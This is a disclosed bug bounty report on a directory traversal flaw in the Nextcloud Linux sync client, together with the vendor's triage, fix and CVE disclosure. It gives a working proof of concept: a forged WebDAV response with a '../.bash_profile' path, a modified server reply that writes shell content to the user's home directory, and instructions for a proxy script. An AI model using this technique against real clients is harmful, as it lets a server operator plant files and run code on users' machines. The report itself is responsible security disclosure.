13 Linux client is vulnerable to directory traversal when downloading files

Share:

TIMELINE

icewater submitted a report to Nextcloud. May 26th (4 ye

Summary

The Nextcloud Linux client is vulnerable to directory traversal when downloading files from a Nextcloud server. A malicious Nextcloud administrator can exploit th vulnerability to write arbitrary files to a user computer(s) with the potential for remote command execution under certain conditions.

Reproduction

The issue is exploited via a two step process. It is possible to do this using a proxy such as Burp suite, but it is tricky and involves modifying some server replies wh also passing through others. The general process is:

Configure the client to use a proxy like Burp and set Burp to intercept server replies for review. Allow all client and server requests/responses to pass except the o listed here. Force sync or wait for the client to issue the request "PROPFIND /nextcloud/remote.php/dav/files/admin/" with body paramters of:

```
<?xml version="1.0" ?>
<d:propfind xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">
<d:prop>
<d:resourcetype />
<d:getlastmodified />
<d:getcontentlength />
<d:getetag />
<oc:id />
<oc:downloadURL />
<oc:dDC />
<oc:permissions />
<oc:checksums />
<oc:data-fingerprint />
<oc:share-types />
</d:prop>
</d:propfind>
```

Forward it. When the server replies, insert an entry in the XML response for an available file. The file name in the HREF tag of the modification data is the vulnerabl parameter. For example, you could insert the following:

```
<d:response><d:href>/nextcloud/remote.php/dav/files/user/../.bash_profile</d:href><d:propstat><d:prop><d:resourcetype/><d:getlastmodified>Tue, 30 Apr 20:44:16 GMT</d:getlastmodified><d:getcontentlength>37042</d:getcontentlength><d:getetag>"08b9d12b0e2263f92820e8b4706a42c7"</d:getetag><oc:id>00000051ocya3bx9cxde</oc:id><oc:downloadURL></oc:downloadURL><oc:permissions>RGDNVW</oc:permissions><oc:data-fingerprint></oc:data-fingerprint><oc:share-types/></d:prop><d:status>HTTP/1.1 200 OK</d:status></d:propstat><d:propstat><d:prop><oc:dDC/><oc:checksums/></d:prop><d:status>HTTP/1.1 404 Not Found</d:status></d:propstat></d:response>
```

Note the path /nextcloud/remote.php/dav/files/user/../.bash_profile. When the client goes to write this file to disk, it will write traverse to the directory above th sync location (~/Nextcloud/ by default, so would end up at ~/)

Next, the client should send a request to the server requesting the file, like so:

```
GET http://192.168.144.128/nextcloud/remote.php/dav/files/user/../.bash_profile HTTP/1.1
Host: 192.168.144.128
Authorization: Basic abc123
User-Agent: Mozilla/5.0 (Linux) mirall/2.5.2git (build 20190319) (Nextcloud)
Accept: /
X-Request-ID: 4a1e1d20-283b-4072-9d24-9f39cf7db243abc123
Cookie: nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; ocya3bx9cxde=rvam; oc_sessionPassphrase=srq12bLDYJI8abc123
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
```

The server should reply saying the file wasn't found. Modify the response to become:

```
HTTP/1.1 200 OK
Connection: close
Content-Type: text/text; charset=utf-8
Content-Length: 93
ETag: 08b9d12b0e2263f92820e8b4706a42c7

echo "It worked! Nextcloud Linux client directory traversal/code execution proof of concept."
```

...and the content will be written to ~/.bash_profile instead of ~/Nextcloud/.bash_profile

To simplify the process, I created a proof of concept Python script and attached it here. The script must be run with Python3 and requires the requests HTTP librar listens on port 8080 and is a proxy; it forwards all requests from the client to the real Nextcloud server. The proxy reviews each request and if it detects one of the aforementioned vulnerable requests, it modifies the server reply appropriately. For PoC purposes the filename is test.txt.

To use, open a terminal and run 'python3 poc.py'. Open the Nextcloud client settings, go to Network, and set it to use a proxy of 127.0.0.1 port 8080. You can force sync if one does not trigger. After it syncs you should get a file 'test.txt' written one level above your Nextcloud sync folder.

For testing purposes an http-only Nextcloud server is needed, as the proxy is not SSL capable.

Limitations

Some limitations surrounding this vulnerability:

- Only new files can be written to disk. I have not found a way to overwrite existing files, i.e. if ~/test.txt already exists it won't get overwritten by the attacker's content.
- An attacker can only write files to locations the Nextcloud program has permission to access.
- The attacker must continously have the intercept running to keep the file on the target's system. If you stop the proof of concept script, the client interprets t exploit file's absence in the next sync as meaning it was deleted elsewhere, so it deletes the local copy.

Impact

Since an attacker cannot overwrite existing files, this makes getting anything useful from the exploit harder, but not impossible. I have noticed with Ubuntu 16.04 18.04 systems the ~/.bash_profile file is absent by default. Bash executes any commands in this file when the user logs in from a terminal (not the GUI and not whe opening the Terminal app within the GUI). An attacker could potentially get remote code execution by:

- Exploiting the Nextcloud client to write ~/.bash_profile containing shell commands.
- Getting lucky and having the user log in via SSH or virtual console. For example, in Ubuntu, pressing CTRL+ALT+F1 at the GUI login screen brings up a virtual console. Logging in here will execute ~/.bash_profile.

An attacker could also write various executable files (jar, sh, bin, etc) to various places on the user's system and hope the user, not knowing how they got there, wo execute one.

Other exploit payloads might exist, this is all I could come up at this time.

Scope

If a Nextcloud server adminstrator wanted to exploit the vulnerability, they could do so on the Nextcloud server itself by modifying the core code and not rely in tra interception. Modifying the Nextcloud PHP code directly would also have the benefit of removing SSL as a limitation.

The Nextcloud security scope document states Nextcloud administrators are expected to have ability to access all user files and execute code on the server. How with this vulnerability Nextcloud administrators could potentially execute code on remote user clients, which they may not have control over.

Sorry for the long winded report. :) If I can provide any further information please let me know. Thanks!

1 attachment:
F496879: nextcloud_poc.py

NOT: posted a comment. May 26th (4 ye
Thanks a lot for reporting this potential issue back to us!

Our security team will take a look at this issue as soon as possible. We will reply to your report within 72 hours, usually much faster. For obvious reasons we'd like t you to not disclose this issue to any other party.

icewater posted a comment. May 26th (4 ye
Gah, looks like Markdown ate my copy/pasted XML. Sorry about that. Let me know if you'd like it and I can upload a text file or something.

rullzer posted a comment. May 27th (4 ye
Hi @icewater ,

Thanks for your report. I'll discuss this with our desktop team adn get back to you.

Cheers,
--Roeland

rullzer changed the status to **Triaged**. May 27th (4 ye

icewater posted a comment. Nov 11th (3 ye
Hello Nextcloud, do you know if this issue has been investigated further? Thanks!

icewater posted a comment. Jun 7th (3 ye
Hello Nextcloud, wondering if you've had a chance to investigate this issue further? If I can provide further information please feel free to let me know.

ickvergessen Nextcloud staff posted a comment. Jun 8th (3 ye
Sorry, the comment was set to the wrong visibility:

A PR was done 21 days ago and merged 19 days ago:
https://github.com/nextcloud/desktop/pull/1986

If you want you can try the daily build of the desktop clients to see if it works:
https://download.nextcloud.com/desktop/daily/Linux/

Otherwise you have to wait for 2.6.5 to be released which should come soon.

ickvergessen Nextcloud staff posted a comment. Jun 8th (3 ye
Further roadmap:
Once 2.6.5 is out, we will "resolve" this issue on h1 and prepare the advisories and CVE.
SA and CVE are published ~4 weeks after the release

icewater posted a comment. Jun 9th (3 ye

I tested client 2.6.5 today and was unable to reproduce the vulnerability. Appears to be fixed.

nickvergessen Nextcloud staff closed the report and changed the status to **Resolved**. Jul 29th (2 ye

Thanks a lot for your report again. This has been resolved in our latest maintenance releases and we're working on the advisories at the moment.

Please let us know how you'd like to be credited in our official advisory. We require the following information:

- Name / Pseudonym
- Email address (optional)
- Website (optional)
- Company (optional)

icewater posted a comment. Jul 29th (2 ye

Thanks, for credit information just a name this time:
Name: Carl Pearson

nickvergessen Nextcloud staff updated the severity from Medium to Medium (5.1). Jul 30th (2 ye

Jul 30th (2 years ago)
nickvergessen Nextcloud staff changed the report title from **Linux client - directory traversal when downloading files** to **Linux client is vulnerable to directory traversal when downloading fil**

nickvergessen Nextcloud staff requested to disclose this report. Aug 5th (2 ye

SA will be published at https://nextcloud.com/security/advisory/?id=NC-SA-2020-032
Requested CVE: CVE-2020-8227

Nextcloud rewarded icewater with a **$250** bounty. Aug 17th (2 ye

icewater agreed to disclose this report. Aug 17th (2 ye

This report has been disclosed. Aug 17th (2 ye